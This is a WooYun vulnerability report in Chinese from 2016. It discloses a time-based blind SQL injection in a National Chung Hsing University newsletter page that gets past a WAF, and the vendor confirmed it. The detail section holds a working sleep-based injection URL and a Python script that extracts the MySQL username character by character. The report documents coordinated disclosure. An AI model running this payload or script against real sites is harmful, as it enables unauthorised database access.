当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168429

漏洞标题:绕过waf继续注入之国立中兴大学#5(臺灣地區)

相关厂商:台湾省国立中兴大学

漏洞作者: 404notfound

提交时间:2016-01-08 16:32

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-08: 细节已通知厂商并且等待厂商处理中
2016-01-10: 厂商已经确认,细节仅向厂商公开
2016-01-20: 细节向核心白帽子及相关领域专家公开
2016-01-30: 细节向普通白帽子公开
2016-02-09: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

感谢lijiejie脚本的启发,感谢sqlmap -v 3里面经典的payload
虽然中兴大学补了之前的洞,装了waf,但洞补的不够严实

详细说明:

注入点:http://**.**.**.**/ncu7020/rdnewsletter/cover.php?action=show&cid=40&id=19
参数id 虽然被过滤了,判断了类型,但还是存在延时注入
开始脚本不能自动注入,只好手工猜解了user的前两位
http://**.**.**.**/ncu7020/rdnewsletter/cover.php?action=show&cid=40&id=19%20and%20if%28ascii%28mid%28user%28%29%20from%201%20for%201%29%29=82,sleep%281%29,1%29 TRUE user第一位是R
同理第二位是D
才发现python脚本字典缺少26个大写字母,改了下脚本:
import requests
import re
import time
payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'
user=''
print 'Start to retrive Mysql user:'
for i in range(1,23):
for payload in payloads:
starttime=time.time()
s="19 and if(ascii(mid(user() from (%s) for 1))=%s,sleep(1),1)" %(i,ord(payload))
param={'action':'show','cid':40,'id':s}
response=requests.get('http://**.**.**.**/ncu7020/rdnewsletter/cover.php',params=param)
if time.time()-starttime >2:

user+=payload
print '\n user is:',user,
break
else:
print '.',
print '\n[Done] mysql user is %s' %user

跑出结果如下:

漏洞证明:

QQ图片20160108151018.png

修复方案:

过滤

版权声明:转载请注明来源 404notfound@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2016-01-10 21:01

厂商回复:

感謝通報

最新状态:

暂无


漏洞评价:

评价